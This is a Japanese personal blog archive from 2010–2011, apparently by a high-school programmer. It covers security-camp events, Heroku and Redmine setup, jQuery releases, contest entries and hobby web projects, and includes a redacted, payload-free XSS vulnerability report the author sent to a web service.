第22回まっちゃ１３９勉強会＋セプキャン・キャラバン in Osaka

Thu, 24 Mar 2011 04:34:50 +0000

まっちゃ１３９ Hiki – 第22回まっちゃ１３９勉強会＋セキュリティキャンプ・キャラバン in Osaka

Togetter – 「第22回まっちゃ１３９勉強会＋セキュリティキャンプキャラバン in Osakaの参加者によるTweetまとめ」

もう10日以上前の話にはなるんですが行ってきた報告をちょろりと。

地震が原因で講師の方々がこれなくなり、開催されるかどうか不安でしたが、無事開催されました。
よかったです。

僕は定期考査中にも関わらず、その日の試験が終わってから直行しました。
場所は関学の梅田キャンパスで、普段なら道に迷うところでしたが、実は一週間前に訪れていたので建物まではなんとかなりました。

関西学院さんありがとうございました。

講演内容は地震の影響で急遽変更となり、園田さんが二つ、はせがわさんが一つ講演をしてました。

LTはセプキャン生（pastak）のその後とか、もりよしさんのPHPネタとかで盛り上がってました。
その場でプレゼンを作って発表している方もいました。すごい。

あと、ハッカージャパン一月号いただきました。
セプキャンCTFの解説記事がありーの、ucqさんの記事がありーの、ajalaboxたんのコメントがありーので、セプキャン臭がプンプンしますよ！

まっちゃ139では今回初めて懇親会に参加しました。

いやー楽しかった。

今回はセプキャン生が数多く出席してました。
これぞセプキャン生の結束力？

最後に、関西学院さんありがとうございました。

Redmine設置した。

Mon, 14 Mar 2011 15:51:18 +0000

なんとか設置できたものの、時間がかかったのでそれの記録。

まず事前に必要なものをインストールする。

sudo apt-get install rubygems
sudo apt-get install ruby
sudo apt-get install git
sudo gem install rails
sudo gem install heroku
sudo gem install sqlite3-ruby

と、ここでエラーが出て、どうやらsqlite3がインストールできないことが分かるが無視して続行

しようとするが、herokuコマンドが見つからない状態にあったので、

ruby on rails – Gems and Ubuntu 9.04 – Stack Overflow

の通りにしてみたところうまくいった。

gem environment
export PATH=$PATH:/var/lib/gems/1.8/bin

これで大丈夫だろうと続けてみるが、やはりsqlite3がないと「heroku db:push」で詰まるようだ。

WindowsからHeroku使おうとしてくじけた

Mon, 14 Mar 2011 12:08:01 +0000

HerokuいいですよねHeroku！

今回はRedMineをHerokuで使おうと思いまして、Windows環境からトライしてみました。
（結局失敗したため、おとなしくUbuntuから使うことにしました。）

普通はHeroku | Dev Center | Getting Started with Herokuを見ればできるはず。

とりあえず一連の流れを

rubyをRubyInstaller for Windowsを使ってインストール。

ついでにgemとかもついてくるので、すぐにrailsをインストールすることから始められる。

gem update
gem install rails
gem install
heroku keys:add

が、ここでメールアドレスとパスワードを入れたところでエラー

C:/Ruby192/lib/ruby/gems/1.9.1/gems/heroku-1.18.3/lib/heroku/commands/auth.rb:17
2:in `chmod': No such file or directory - C:Documents and Settingsユーザー名/.he
roku/credentials (Errno::ENOENT)

Windowsのフォルダのセパレータが違うのかなと思い、auth.rbに

41	home_directory = home_directory.split("").join("/") if !home_directory.nil?

と入れてみたのだけども、「Internal server error」が出て上手く行かなかった模様。
うぬー。。

脆弱性の報告をしてみた

Sun, 06 Mar 2011 08:00:10 +0000

セプキャンキャラバンのUSTを見ながらとあるWebサービスを使っていたら、うっかり脆弱性を発見してしまったため、とりあえずお問い合わせフォームから報告してみた。

試験中にも関わらず・・・

特定に繋がりそうなところは隠してあります。

****を楽しく使わせていただいております。

この度、****において脆弱性があることが分かりましたので報告させていただきます。

1.
– 現象 –
「****」や「****」ページにおいて任意のJavaScriptが実行出来る。

以下のページのように「****」や「****」ページにて任意のJavaScriptが実行されてしまいます。
例：http://****.***/****
例：http://****.***/****

– 想定される被害 –
アクセスしてきたユーザーのCookieからトークンを盗み出すことにより、不正なログインが可能となります。
また、アクセスしてきた時点で閲覧ユーザーの設定を変えるなどの行為も可能です。

– 解決策 –
以下の情報を表示する際に適切なエスケープを行うことで回避が可能です。
・「****」における****と****
・「****」における、****と****
・「****」における、****と****

2.
– 現象 –
****ページにおいて任意のJavaScriptが実行出来る。

以下のページのようなURLにユーザーがアクセスすることにより、任意のJavaScriptが実行されてしまいます。
http://****.***/****

JavaScriptが****に埋めこまれている場合は、****ページなどからその****のリンクをクリックすることで上記URLにアクセスすることが起こりえます。
また、単純に上記URLに他のサイトからアクセスさせることなどでも起こりえます。

– 想定される被害 –
アクセスしてきたユーザーのCookieからトークンを盗み出すことにより、不正なログインが可能となります。
また、アクセスしてきた時点で閲覧ユーザーの設定を変えるなどの行為も可能です。

– 解決策 –
meta要素内のname属性の値にパラメータを入れているため、それを適切にエスケープすることで解決できます。

他にも、被害は起こり得ないと思われますが、****を****から閲覧した際に任意のJavaScriptが実行可能となっておりました。

以上です。長文失礼いたしました。

セプキャンでやったのを思い出して、現象と被害と解決策を書いて、お問い合わせフォームから送信してみた。
ちゃんと資料引っ張ってくればよかった。

説明難しいし、どっか足りないかもしれない。

現象の部分にURLを貼りつけたのはまずかったかもしれない。
「URLにアクセスしたら自分の情報を抜き出されるかもしれない」と警戒される可能性もあるし。。。

Pear

Fri, 04 Mar 2011 11:30:49 +0000

Pearからコマンドでインストールするのではなく、手動でダウンロードして解凍するときは、「解凍レンジ」を使ったほうがよい。

少なくともLhaplusだと解凍できなかった。

問題になるのはWindowsだけかな。

最近あったことども

Tue, 15 Feb 2011 11:25:47 +0000

最近は比較的忙しかった。

つらつらとまとめてみる。

受験まで後一年らしい。
しらね

cakePHPでURLパラメータを保持する

Sun, 06 Feb 2011 14:46:29 +0000

久しぶりにcakeの記事を書きます。

最近、cakePHP以外のフレームワークにも浮気しようとしているのですが勇気がでません。

要件は悩み | チャゲってる日々 – @tyageにて書いてあります。
一応解決したのですが、先ほどの記事を今読むと、かなり意味不明な内容になっているため、簡単にまとめてみます。

jQuery1.5ｷﾀｰ

Tue, 01 Feb 2011 11:11:22 +0000

jQuery1.5

jQuery: » jQuery 1.5 Beta 1 Released

今回のリリースの目玉は、Ajax周りの書き換えとその新記法、そしてサブクラスという新機能です。

バグフィックスと速度向上はもちろん行われています。

特に、バクフィックスでは未だにIE対策が行われ、またv8での速度が大幅に向上したそうです！Chrome厨喚起！

その他として、細かいことだけど、node.jsとの連携の強化？的なことや、Google Closure CompilerからUglifyJSなるものに圧縮ツールを変更したようですよ。

Ajaxモジュールの書き換え

「これは今回の最も重要な変更点であり、パフォーマンスや機能の改善、安定性の向上をもたらす」そうです。（訳は適当）

Julian Aubourgさんによるこの書き換えによって、以下の書き方ができるようになりました。

// Assign handlers immediately after making the request,
// and remember the jxhr object for this request
var jxhr = $.ajax({ url: "example.php" })
    .success(function() { alert("success"); })
    .error(function() { alert("error"); })
    .complete(function() { alert("complete"); });
 
// perform other work here ...
 
// Set another completion function for the request above
jxhr.complete(function(){ alert("second complete"); });

ふおお・・・びゅーちふる・・・

サッカーアジア杯

Sat, 29 Jan 2011 18:46:10 +0000

オーストラリアを制して日本が優勝しましたね！

あまりの興奮に寝られないでいる学生さんも多いのではないでしょうか！？

そんな起きていても何もすることがない・・・そんな学生さんのために、本日公開されたツールを紹介したいと思います！

その名も赤シート++！

このブログを見てる方ならどこかで聞いた名前だと思いますがどうでしょうか？

そう、以前ブログでもを紹介した、赤シート2.0の改良版なのです！

改良された点はあまりにも多いためこのテンションでしゃべりきることができませんが、開発時間で言うと赤シート2.0が3時間なのに対し、赤シート++は20時間ほどかかっております！

もうこれだけでもすごいですね！

20時間というと、時給800円のアルバイトで1万6000円分の価値があります！

これがタダで使えるっていうんだから、使わない理由なんてあるわけないですね！

「今夜は眠れないぜ！」という学生さんは是非ともこれを使って、暗記しまくってもらえるといいと思います！

例えば日本史の勉強がしたい学生さんは、

タグ検索 – 日本史 – 赤シート++

ここにあるような、「日本史タグ」ついたシートを使って勉強するといいと思います！いえ！勉強しましょう！

僕はあいにく化学の課題が残っており、暗記なんてやってる状態ではないので、先におやすみさせていただきます。

今日はぐっすり眠れそうですね。

※そのうち赤シート++の解説をします

google mapsでマーカーに文字を表示させたい

Wed, 19 Jan 2011 15:10:49 +0000

たとえばマーカーのアイコン画像の下に文字を表示したい。

こんな感じに

この画像ではマーカーの代わりにoverlayViewを継承したカスタムオーバーレイを使っている。

実際そうすれば問題はないんだけど、そうなるとMarkerClustererライブラリが使えない。

どうしても使いたい。
代わりになるものがあればそれでいいけど。。

あきらめてcanvasに文字を書いてdataスキームで画像として表示するとか・・・？

「ソーシャル・ネットワーク」観に行った

Sat, 15 Jan 2011 08:39:44 +0000

久々に映画見たよー
タイトルにあるけど、日本では今日上映開始の「ソーシャル・ネットワーク」
現在SNSサイト等等で一儲けしようって話に関わってることもあって（まあ個人的にも開発してるけど）、話を聞いたときから見たくてうずうずしてた。

テンポがよくて、気がついた時には「もう終わったの！？」という状況でした。
普段なら終了時には食べきっているはずのポップコーンが残ってしまったのが悔しい。

どこまでが本当なのか分かんないけど、天才って社会で生きていくのは案外大変かもしんないなーと思った。
天才じゃなくてよかった。

JOI予選通過しました

Thu, 23 Dec 2010 05:06:25 +0000

情報オリンピック予選

何故か通過しました。

点数は７２点でギリギリ。（ボーダーも７２点）
20+20+20+8+4 = 72　てな感じでした。

うどんすすりながら、node.jsで受けた。

こんな回答だったのに通過していいのか。

KYの二年は、自分も含め少なくとも３人通過した見たい。

他の二人はめちゃんこ点数高いです。

ぼかぁアルゴリズマーじゃないし、普段から勉強もしてないんで、本戦ではみなさんがんばってくださいって感じですね。

たぶん、あの二人は余裕で本戦も通過しそうだなあ。

罪悪感はあるけど、マイナーな言語で受けると逆に受かりやすい場合もあるんだなあと実感。
（ヒント：提出したプログラム）

また、ただで東京に行って参ります。

セキュリティ＆プログラミングキャンプ2010実施報告会に行ってきた

Wed, 22 Dec 2010 17:24:48 +0000

情報処理推進機構：IT人材育成：セキュリティ＆プログラミングキャンプ2010

これを目的に格安で東京に行ってまいりました。

セプキャンが廃止されるみたいな噂があって冷や冷やしていたんですが、報告会では積極的な意見が数々出ており（僕は意見を言えませんでしたが）、やはりこのキャンプは多くの影響を与えてきたんだなあと再認識しました。

僕自身も、このキャンプに行った事で能力の高い人たちがいることを再認識し、その人々を間近で話すことができるという貴重な体験をすることができました。

今回の報告会では、サイボウズの青野社長の講演の後、卒業生LTがあり、最後にディスカッションがありました。

青野社長の講演では、日本では起業をするのはお勧めしないって言う話と、アメリカの女子にIT業界が人気っていう話が印象に残りました。
セプキャンに関してもそうですが、日本人のIT技術者などに対する、よくない意味でのオタク的なイメージが変わらることが、この分野の成長には必要なのだと思われます。

ディスカッションでは主に、
成果を見せる必要があるということと、
キャンプ卒業生による広報がやはり重要だという話と、
wikiやポータルサイトのような、キャンプ卒業生や、未来のキャンプ生たちが交流できる場所がいるのではないかという話がされていました。（僕の記憶では）

一つ目は、セキリュティ組ってどういう成果を出したらいいんだろう・・・ってのをもんもんと考えてました。
ただ、成果を出しても、分かってくれる人は限られるという意見もあったように記憶しています。
たしかに成果をずばっと見せるのは難しいかもしれないですね。

二つ目に関しては、僕も以前に学校で話したりしていたのですが、
プログラミングなどに興味のない人には、「ふーん。無料でいけるんだ。へー」としか思ってもらえませんでした。
僕がもっと興味を持たせられるようなしゃべり方を身につけていればよかったのですが・・・。なかなか難しいですね。
逆に、もともとプログラミングをやっている人の一部には、著名な講師の方々が来るということで、とても興味を抱いてもらうことができました。
専門学校ならともかく、うちのような普通の学校の生徒に対する広報はなかなか難しいなあと思います。

三つ目のwikiは、さっそく@mine_studio先生が開設されました。
行動力がぱないですｗ
http://spcamp.com/

終わった後は懇親会がありました。
少し疲れていたのもあって、あまり話しかけることができず、@grapswizさんと、@ajalaboxさんと三人でずっと固まっていましたｗ
ただ、未来のキャンプ生から話しかけてもらうことができ、僕らが最後のキャンプ生になってはいけないなと感じながら帰りました。

せっかく東京に行ったので、ついでにキーボードを1000円で購入し、翌日のJOIはそれで受験しました。

往復5000円で東京まで行ってきました

Mon, 20 Dec 2010 11:48:25 +0000

大阪東京間を格安で移動しようと思ったとき、あなたはどうしますか？

夜行バスですか？格安航空でしょうか？それともヒッチハイク？？

いいえ！青春18切符ですね！

今年は発売されないという噂もあったようですが、無事に今年の冬も発売されました。
ダイヤ改正されて、時間がかかるようになりましたが、なんとか行けます。
がんばれば一日で往復できますｗ

僕は12/17のお昼に家（兵庫）を出発し、夜に東京に到着、翌日の12/18深夜に東京を出発して、12/19の朝に帰宅しました。
行きは普通列車でのんびりと行き、帰りは「ムーンライトながら（以下ながら）」を使用して帰りました。
かかった費用は 2300*2（18切符二日分） + 510（ながらの指定席券代） = 5110円　でした

node.jsでJOI受けた。

Sun, 19 Dec 2010 08:22:24 +0000

情報オリンピック日本委員会

PHPを使うか、ブラウザのコンソール画面でJavaScript実行させるか、node.jsを使うかで悩んだ末、勉強もかねてnode.jsを使いました。

結果はかなり微妙でしたが、node.jsの勉強になったと思うので、よしとします。
予選通過するかしないかギリギリのラインですが、どっかでミスってる可能性大なので、たぶん通過しません。

残ってるコードはこんな感じ

– Q1

– Q2

– Q3

Q4は二問ほどを総当り（ブルートフォース的に）解いて、残りを解くために改良していたところで、バグに見舞われてしまい、終了となりました。
Q5もはじめの一問を解いたけど、たぶん点数に加算されない気がするなあ。

Q2を解き始めたところから、「split(‘n’)」で一行ずつ取得という処理ができなくなり、そこでも時間を潰したかな。
rnでsplitしても、また別の問題が浮上してくるのですごく戸惑いました。
最終的にはダウンロードした入力データを、エディタで改行を除くなどして応急処置をほどこしました。

向こうの想定するC,C++ではなくて、node.jsで解いた罰かもしれんねー

まあこれで、アリ本を買うことなんかは今後もないでしょう

「node.js」はじめました

Thu, 16 Dec 2010 15:55:22 +0000

ubuntu環境が手に入ったので前々から気になってたnode.jsはじめた。

JavaScriptでサーバーサイドが書けるなんて、JavaScript最強伝説()始まってんじゃね！？

恋するnoderの@KOBA789先輩に手ほどきしてもらいながら、なんとかHello Worldまでできたー。

ほとんど経験のないコマンド処理に迷ったりもしたけどまあそれはともかく。。。

さくら鯖にgitを入れたい

Mon, 13 Dec 2010 14:09:59 +0000

できない。

ぐぐったら下の三つがそれらしいので試してみたがだめだった。
バージョンは最新の1.7.3.3でやってる。
2010-02-19 – Dive into the Tech World!
さくらのレンタルサーバにgitをインストールする方法 | public static void main
サクラのレンタルサーバーでgitを使う – Text::Easyhacking

というかexportコマンドが用意されてないみたいだけどよく分かんない。

未だにLinuxとかそのコマンドに関しては初心者から脱却できないでいる。
進展があるとすれば、最近ubuntuを使い始めたくらい。

ちまちま雑誌とか読んでれば分かるようになるかな。
さくら鯖にrails入れようとしたときも失敗したし、まずはローカル環境でできるようになってからにする。

JOIの解答がGoogle Chromeで提出できないという話

Sat, 11 Dec 2010 07:57:07 +0000

情報オリンピック日本委員会

現象

なーんかJOIの予選練習問題解いてたら、@asi1024がChromeでCのソースコードをアップできないって言うんで、どういうことかなーって思ってたら、後日JOIから発表があった。

「予選練習」において， Google Chrome (7.0 以降)など一部のブラウザからソースコードのアップロードが正常に行えない場合があることが確認されています．
競技当日までに競技に使用するPCから予選練習にてソースコードのアップロードが
正常に行えるか確認してください．less than a minute ago via HootSuiteJOI / IOI-JP 科学委員会
ioi_jp

どうやらChromeだけの現象らしい。
しかも.txtファイルはアップできて、.cファイル等がアップできないという不思議な現象。
.c等のファイルをアップロードしようとすると以下のようにエラーがでる。
（JOIからの報告の数日後に、サイトの保守作業があったみたいだけど、まだバグは治っていなかった）

原因らしきものをぐぐってみたら、さくっと出てきた。

一般に登録されていない拡張子の場合、Chromeでアップロードできない – Google Chrome 公式ヘルプフォーラム

試験対策 – 日本史

Wed, 08 Dec 2010 12:43:37 +0000

前回の地理まとめがちょっと好評だったため、日本史まとめもしちゃう。

テストの点数が上がる保障はありません。
これを使った僕自身、地理のテストに関しては、いつもの数倍勉強した割に、いつも通り空白が・・・。
内容の暗記はできてたけど、問われ方を変えられるとぜんぜん思い出せないのよねん。。。

随時追加します。

日露戦争
 重工業の発達と財閥の成立
 欧米文化と伝統文化
 朝鮮の植民地化
 大正デモクラシー
 第一次世界大戦
 第一次世界大戦後の世界
 日本資本主義の成長
 米騒動と社会運動
 普通選挙法と治安維持法

期末試験対策 – 地理

Tue, 07 Dec 2010 06:04:39 +0000

前回作った赤シートツールを使って地理のまとめを作り上げることにします。

いつも試験のたびに勉強資料を提供してくださるN様も地理の写真をupするようですが、自分の勉強のためにもやっておこうと。
ちなみに歴史もやる予定。
足らないとことかミスとかあるし、誰か改良してくれるとありがたいけど、誰もしないよねー

随時追加していきます。

土壌まとめ
 熱帯まとめ
 乾燥帯まとめ
 温帯まとめ
 冷帯まとめ
 寒帯まとめ
 高山帯まとめ
 土壌と植生まとめ

赤シート2.0

Thu, 02 Dec 2010 14:26:53 +0000

赤シート2.0

試験前だが、ふと思い立って作った。

自分はPCがあると勉強ができない。
どうしても電源を入れる癖がある。
しかしSmart.fmは嫌いじゃないし、もしかしたらPCを使えば集中できるのではなかろうかと。

とは言うものの、今まで試験中にPCをつけると、TwitterをしたりSkypeをしたりするため、うまくいったためしがない。
しかしサービスの開発中は、Skypeで呼び出されようが、TwitterでReplyが来ようが、無視するくらい集中できる自信はある。

そこで、自分に開発をしているのだと暗示をかけながら勉強をすればいいのではないかと思いついた。
どのようなサービスがいいか考えたところ、優秀な同級生や妹を見ていると、ノートを赤いペンで書いて、上から赤シートをかぶせる勉強法を取っている人も多いことに気がついた。
その方法を真似して、PC上でやってみようと考えたが、そのようなサービスでしっくりくるものがなかったため、できるだけ簡単にできるようなのを作ってみた。
その結果できたのが、赤シート2.0である。
いろいろとダサイが、俺得サービスなので問題ない。

久々にcakePHPを使わないサービスを作ったので、3時間もかかった。
PDOにも初挑戦してみた。

使い方は、テキストの隠したい部分を「?」で囲み、それを投稿するだけである。
隠した部分は選択して反転すれば見れるようになるので、問題ないであろう。
（クリックすると見れるようになるようにしようかな。）

サンプルとして、地理のプリントの写しを挙げておく。
ほかにも、英文の穴埋めなどにも使うなど、いろいろな使い方があると思う。

土壌まとめ[地理]
熱帯まとめ[地理]

開発中 – boku2D

Wed, 01 Dec 2010 11:34:39 +0000

boku2Dを開発中。
サイト上でゲーム作ったり、サイトのコンテンツ自体をゲームっぽくしたりするJavaScriptライブラリ。
box2Dには足元にも及ばない、俺得ライブラリ。

以前にも同じようなエンジンを作って、スーパー正男っぽいのをJavaScriptで再現していたのだけども、あまりにもコードが見てられないので新しく作り始めた。

HTMLからデータを取り込む機能を少々強化したり（jQueryを入れてあるとgood）、ベクトルオブジェクトを使ったりしてる。
基本的にこちらが提供するのはエンジンだけで、描画は自前で処理してもらおうと考えているが、DOMを使っている場合はライブラリで提供された関数を使うのもよし。
一から作り直したので仕様も、前よりはすっきりしたはず。

ちょっとリアルっぽさを出すために、物理の知識を入れたりして調子に乗ってる。
Thanks to その１　誰もがやりたいパーティクルの衝突

ただ、複数の物体が同時にぶつかるなどの状況になると、衝突判定がおかしくなってしまう。
（ここでも確認可能）
これは前に作ったエンジンと同じで、どうやら僕の頭じゃ解決できないらしく、物理エンジンの勉強でもしようかと思考中。

傾きをつけることもできそうだと考えたが、box2DJSで試したところ、傾きがあるとゲームとして使う際に問題がありそうだと思われたため、あえて入れていない。

今後

とりあえず衝突判定をもっと正確にできるようにしようと考え中。
本を見ても解決できそうにないので、他の物理エンジンのコードを読むのがいいかなと思っている。

JSで使える物理エンジンといえば、@technohippy様がActionScriptからJavaScriptに変換なされたbox2DJSなので、まずはそれを読むことにする。
もう少しやる気が出れば、最新のbox2Dをライブラリなしで変換しようとするかもしれない。

あくまでこれは俺得ライブラリ。

今日の教訓

Sat, 27 Nov 2010 15:26:18 +0000

オブジェクトの__proto__プロパティをいじってると、知らず知らずのうちにObject.prototypeを拡張してたりするので注意

青少年オフと京大学院祭

Wed, 24 Nov 2010 13:39:21 +0000

日曜日に、2010関西青少年？オフに行きました。
その後、トップページ – 第52回京都大学11月祭にて同級生達と合流してきました。

青少年オフ

関西青少年オフでは、嵐電に乗って集合場所に到着した後、ジャンボというお店に行きました。でかいことで有名だそうです。
（20分ほど遅刻しました。ごめんなさい。）
焼きそばとお好み焼きを腹いっぱい食べました。でかくてうまかった。

その後は、また嵐電に乗って嵐山に行った後、@moccaxと合流して紅葉狩り。
とにかく人、人、人。（たまにおっちゃん暴走族）

初心者がubuntuを入れるまで

Thu, 18 Nov 2010 13:09:51 +0000

経緯

以前に、あらゆる物作りレシピ共有サイト「つくログ」を開発したのですが、それの共同開発者の方からVAIOをいただいた。

PCV-RZ50 | 製品別情報 | サポート | VAIO | ソニー

↑これ。でかい。2002年もの

モニターも一緒にいただいたのだが、モニター用のアダプタがなかったため、ディスプレイなしで操作するわけにもいかず、放置すること数ヶ月。

誕生日が来て、軍資金も増えたため、思い切って21.5インチのモニターを買って見た。
amazonで送料無料が完全サービス化されたので、amazonさんで人気の高そうなのを選ぶことにする。

Amazon.co.jp： BenQ 21.5型 LCDワイドモニタ E2220HD(グロッシーブラック) E2220HD: パソコン・周辺機器

このモニターはamazonが一番安かったため、手は震えていたものの、思い切ってポチッとしてみた。

画面はきれいだし、薄いため置き場所にも困らず、モニターにはほとんど満足している。

一つ問題点を上げるとすると、やっぱり音が出ないことかな。
音声機能はついているのだが、どうも音がうまく出てこない。
もちろん設置方法が間違ってるかもしれないけど・・・。

後日試したところ、きちんと音がでました。へ(_ _)へ

今、我が家にはテレビがないため、モニターから音が出るとテレビ代わりになってとても助かる。
KeyHoleTVバンザイ！

もっとTwilに力を！！

Sat, 13 Nov 2010 09:08:51 +0000

ちょっと前に10分ほどで作ったプログラムをTwitterで再び流してみたところ、少々反響がありました。

もっとTwilに力を！！ – ケータイ only
※auのsh001でのみ確認

以前に記事を書いていたのだけども、それは消えてしまったので、再postしてみます。
（googleのキャッシュも消えてる）

Bottom Coder.next

Tue, 09 Nov 2010 14:44:16 +0000

Bottom Coder Home

MA6に応募したよ！いえーい！

#340 Bottom Coder | 応募作品一覧 | Mashup Awards 6 (#MA6) on CREYLE

小飼弾さんの審査員賞とかもらえないかなーなんてちょっぴり期待しつつ出して見たわけですが、あまりにもライバルが強すぎて少し(´ﾟ’ωﾟ`)ｼｮﾎﾞｰﾝ。

しくぁーし！
こんなことでへこたれる俺ではぬぁーい！

とりあえずBottom Coderをまともに使えるものにしようとしました。
自分の回答を一覧や問題一覧を見たり、投稿後にテストができるようにという基本的な機能を追加！

まだどうするか決めていませんが、投稿後のテストは、コンテスト中のものに関してはできないほうがいいかも。。。

KOF2010 – 二日目

Mon, 08 Nov 2010 10:21:12 +0000

KOF2010 – 一日目 | チャゲってる日々 – @tyage

この日は同級生の@asi1024を誘って行った。
彼は情オリとかSuperConとか出てるし、知り合いもいて楽しそうだった。よかったよかった。

僕は@hiromu1996と@mine_studioのセミナーを見た時に、@yuya_prestoさんと合流。

その後@pastakと合流したりして、Chrome Extensionのセミナーを聴きに行きました。
超満員だったため、地べたに座りながらだったけど楽しかった。
Web AppsとかWeb Storeとかわくわくするー！
@pastakも言ってたけど、FileAPIはいつの間にかChromeでも実装されてたんですねー。

セミナー見たあとは、きょーくりブースでの成り行きを見守ったり、灘の人とうだうだしたりとかしてるうちにKOFが終了しました。

終了後に灘の人らが打ち上げに行くとかで誘われたけど、おうちの事情で仕方なく帰りました。残念。

この日の戦利品はOperaシールと、Google日本語入力のマンガを冊子にしたやつと、飴ちゃんくらいですかね。
＼爽快セキュリティ！／バッヂは人気だったようです。

KOFでは講師の方も含め、セプキャン関連の人にも結構会ったなー。

Bottom Coder++

Sun, 07 Nov 2010 14:39:07 +0000

今日はBottomCoderのアップデートも行いました。

Bottom Coder Home

MA6に何か提出しようと思い、APIを探していたところ、子飼弾さんのLLEvalがBottom Coderに使えそうだったので早速オンラインテスト機能として採用してみました。
小飼弾（LLEval） | 提供API一覧 | Mashup Awards 6 (#MA6) on CREYLE

BottomCoderとは：

世界的なプログラミングコンテストであるTop CoderのWeb版みたいなもんです。

@asi1024　から意見をもらって作ってみました。

今のところチャットと、問題を解くことしかできません。

今回は問題を解くに当たって、自前の環境を用意せずとも、オンラインで自分のコードをテストできるようにしました。
この処理に、先ほど言ったLLEvalを採用しています。
クロスオリジンXHRを使っているので、少しブラウザが制限されますが、プログラマならきっと最新のブラウザを使っているでしょうし、そこは問題なしとします。

また、システムテストもLLEvalを使って実行してもらい、答えと一致しているか判別しています。

開発中 – Google Maps王に、俺はなる！

Sun, 07 Nov 2010 09:07:50 +0000

名前は特に意味なし。
TOWNをまた新しく作り直してます。

Google MapsのV3が使いやすくなってたのでGoogle Mapsを使うことにしました。
内容は以前のものをたいして変わらないと思います。
作り直すごとに機能とか減ってると思うけど気のせい。

はじめ：近畿地方　―　ABCオロチ ver
二番目：KINKI in PHP（仮名） RC（Ver 1.0）
三番目：退化地方

住民さんは「またかよっ！」って思うかもしれないですけど、これがたぶん最後なので。。。
まあ、またRoRで作り直そうかなとか考えちゃってますけど。

KOF2010 – 一日目

Fri, 05 Nov 2010 15:14:33 +0000

金曜だけど保護者会ってことでお昼に学校が終わったので行って来ました。

KOF2010：関西オープンソース2010

思ったほど迷子にならず順調に到着。
往復1000円、所要時間は2時間ほど。
場所は大阪南港ATC（アジアトレードセンター？）です。

噂のWTCが見える。

この派手な建物がATC

到着後は、灘PC部がブースを出してるのでそこに寄りつつ、一番見たかったIE9のセミナーを聞きました。
セミナー本会場は満員だったため、隣の部屋でプロジェクターと音声だけで気分を味わってました。
空調がなくって満員の会場は暑そうだったから、会場からの質問が聞けなかった以外はこれでよかったかなと思ってます。
予想以上にIE9とMSスゲー！ってのを改めて感じたセミナーでした。

セミナー終わったらWordPressの人に質問したり、灘の高身長中学生とかと戯れたり、京都GTUGのブースで名刺交換したりしてました。
空手の稽古があったり、家の理由で5時前には会場を出てとっとと帰りました。
Mozillaさんのセミナーとか聞きたかったなぁと。

そうそう！帰る間際にはせがわさんに声かけてもらったよ！うれしい！

戦利品

この日は友達何人か誘ったけど断られた＞＜
でも明日はきっとasi1024先生と一緒に行けるはず！

明日はきょーくりがブース出してます！よろしく！

ひなったーにな～れ

Thu, 04 Nov 2010 10:35:58 +0000

暇なのでひなったーにな～れ – Hatena::Letを作った。
サイト上の画像から顔を探して、見つけたらひなったーの顔写真に入れ替えちゃう。

ひなったーにな～れ

　　　*“･*。
　　｜　　 `*｡
　　｡∩　　　 *
　 + (･ω･`)*+ﾟ
　 *｡ヽ　つ*ﾟ*
　　ﾞ･+｡*･ﾟ⊃ +ﾟ
　　☆　∪~ ｡*ﾟ
　　ﾞ･+｡*･ﾟ

例

Face Detector – lab.gkbr.me

before

after

補足

顔認識が注目されてるらしくて、今年の二月に既に顔認識をJSで実装してるぜってことでひなったーが人気を博してるらい。
JavaScript+canvasで顔認識 – 開発な日々の被ブクマ数はついに100を超えた。
ここはひなったーLOVEな俺の出番だ！ってことで需要もないのに作って遊んだ。

ひなったーのコードをコピペしたらめちゃ簡単。
コードはすぐに書けたので、あとはひなったーの顔写真をいじいじしてました。
横顔よりも正面の顔が欲しいなぁ。

彼は今オーストラリアにいるから堂々とやってるんだけど、また勝手に顔写真使ったから怒られるかなあ。怒られたい。

こちらもよろしく
Love HINATA♥ – Hatena::Let

悩み

Sat, 23 Oct 2010 14:58:43 +0000

いろいろと悩み事の多いお年頃なんですが、あまり人には聞くことがありません。

でもこれはどんだけ考えてもいい方法が思い浮かばないので、もし教えてくれる方がいれば教えてほしいという切実な願いです。

要件

view部分ををいじらずに、リンク等URLにパラメータを保持したい。
prefixを指定したときのように。

ただし、prefixを使って、呼び出すaction名をいちいち書き換える手間もかけたくない。
（__callメソッドを使えばいいのかもしれないですが・・・）

cakeのcoreを書き換えたくない。

詳細

現在作っているゲームで、iframeを通じてそのゲーム内のページを見れる機能があるのですが、iframeで見た場合のlayoutを変更したいと思っています。

iframeで見るページは、iframe以外でも見れ、そのときはiframeで見たときと異なるlayoutとなるため、layoutを動的に変更させる必要があります。

しかし、iframeかどうかの判別は、PHPからはできなさそうです。
（もし方法があるなら教えてください＞＜）

そこでiframeに指定したURLにパラメータを付け（?iframe=trueみたく）、iframe内でページ遷移が起こった場合もそのパラメータを保持し続ければいいのではないかと考えました。

上に書いたように、呼び出すaction名を変更するprefix機能をそのまま使うこともできません。

またbeforeRenderなどaction名が決まった時点で、prefixを設定しようかとも考えましたがそれも上手くいきませんでした。

どうかこの私の至らない頭に解決法をお与えください。

要件が上手くまとまったら質問サイトにでも投げかけようかな。

jQuery1.4.3ｳｯﾋｮｰ

Sat, 16 Oct 2010 15:07:34 +0000

試験期間中の夜はテンション高いぜｲｴｰ

Google Reader見てたらjQuery1.4.3が来てるじゃないすか！！

jQuery: » jQuery 1.4.3 Released

jQuery1.4.2のときは大した変更がなかったんですが、1.4.3は~~予想通り~~かなりの変更が加えられてます！

内容は本家のブログが詳細に語っているので、そちらを見ることをお勧めしますが、ぱっと見なんかすごそう！ってのをちょいちょい感想を加えつつ大雑把にまとめ。
発表から数時間後に急いで書いたので、間違ってたり理解できてないところが多々あると思います；

jQuery 1.4.3RC2

Thu, 14 Oct 2010 06:16:47 +0000

追記：
jQuery1.4.3が正式発表されました。

jQuery1.4.3rc1、rc2と立て続けにリリースされたようです。

試験中にも関わらず、差分取ってちまちまと見ています。
コードの初っ端から少しずつ変わってて、サンドボックスがどうとか、ローカル変数が増えたり変更されたりしてました。
内部のほうにはそれなりに変化があるようです。

使う側としても、内部関数だったaccessがjQuery.accessとして定義されたり、jQuery.isNanとかjQuery.isWindowとかが増えてたり。

$().data周りにも変更があるみたいで、jQuery1.4.3からしか使えないプラグインもあるらしいです。
InfoQ: Data Link – jQueryのためのデータバインディング

あとはイベント周りとかCSSやAjaxに関わる部分も、関数が増えたり修正されたりしてました。
jQuery 1.4.2 の xhr.abort() が IE7 でエラーになる問題の回避方法 – Scalaとlift　のはずだった　・・・

もちろんバグ取りはいっぱい行われています。
Blackberry対策をしてあるのには少し笑えましたｗ

それよりも1.5が楽しみです。

